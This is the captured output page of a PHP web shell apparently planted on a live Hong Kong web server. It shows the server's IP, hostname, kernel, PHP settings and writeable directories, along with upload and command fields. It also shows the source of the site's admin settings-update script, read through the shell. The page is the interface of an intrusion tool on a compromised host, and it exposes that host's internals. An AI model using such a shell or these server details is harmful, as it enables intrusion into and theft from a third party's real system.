403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/b2b2c/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/b2b2c/webadmin//site_info_modify.php
<?php
	$page_settings = array(
		'formid'     => 'Site_info', // for permission
		'section'    => 'System Setting', // parent/page title
		'subsection' => 'Site info', // page title
		'domain'     => 'site_info', // table/model name
		'access'     => 'GNu', // for permission
	);
	require_once "check_login.php"; 

	$message = "";

	foreach ($arraylangcode as $langcode => $langname) {
		if (empty($_POST["companyname_" . $langcode])) {
			$message .= _lang("Please enter Company Name") . " [" . $langname . "]\\n\\n";
		}
	}
	$post_name = array();
	/*$post_name = array("ebpcode" => "Platform Customs Registration Code", "ebpname" => "Platform Customs Registration Name", "copcode" => "报文传输的企业代码(需要与接入客户端的企业身份一致)", "copname" => "报文传输的企业名称", "dxpid" => "向中国电子口岸数据中心申请数据交换平台的用户编号", "paycode" => "Payment Agent Customs Registration Code", "payname" => "Payment Agent Customs Registration Name", "signature_signaturevalue" => "Signature Value", "signature_keyname" => "Signature Key Name");

	foreach ($post_name as $name => $text) {
		if (empty($_POST[$name])) {
			$message .= _lang("Please enter $text.") . "\\n\\n";
		}
	}*/

	if (empty($_POST["enquiryemail"])) {
		$message .= _lang("Please enter Enquiry Email.") . "\\n\\n";
	} else {
		if (!filter_var($_POST["enquiryemail"], FILTER_VALIDATE_EMAIL)) {
			$message .= "Invalid email format.";
		}
	}

	foreach ($arraylangcode as $langcode => $langname) {
		if (empty($_POST["copyright_" . $langcode])) {
			$message .= _lang("Please enter Copyright") . " [" . $langname . "]\\n\\n";
		}
		
		/*
		if (empty($_POST["tnc_" . $langcode])) {
			$message .= _lang("Please enter Terms & Condition") . " [" . $langname . "]\\n\\n";
		}*/
	}

	if (!empty($message)) {
		echo "<script>alert('" . $message . "'); history.back();</script>";
		exit;
	}

	$sql        = "update site_info set enquiryemail=?, facebook=?, youtube=?, lastupby=?, lastupdate=?,";
	$parameters = array($_POST['enquiryemail'], $_POST["facebook"], $_POST["youtube"], $_SESSION['cmsloginid'], $nowdate);

	foreach ($arraylangcode as $langcode => $langname) {
		$sql .= "companyname_" . $langcode . "=?,companydesc_" . $langcode . "=?,metakeyword_" . $langcode . "=?,metadescription_" . $langcode . "=?,copyright_" . $langcode . "=?,index_desc_" . $langcode . "=?,";
		$parameters[] = $_POST["companyname_" . $langcode];
		$parameters[] = $_POST["companydesc_" . $langcode];
		$parameters[] = $_POST["metakeyword_" . $langcode];
		$parameters[] = $_POST["metadescription_" . $langcode];
		$parameters[] = $_POST["copyright_" . $langcode];
		$parameters[] = $_POST["index_desc_" . $langcode];
	}

	foreach ($post_name as $name => $text) {
		$sql .= "$name=?,";
		$parameters[] = $_POST[$name];
	}

	$sql = substr_replace($sql, " ", -1);

	$sql .= "where siteinfoid = ?";
	$parameters[] = (int)$_POST["siteinfoid"];
	bind_pdo($sql, $parameters);

	header("Location: site_info_modifyform.php?msg=2");

Youez - 2016 - github.com/yon3zu
LinuXploit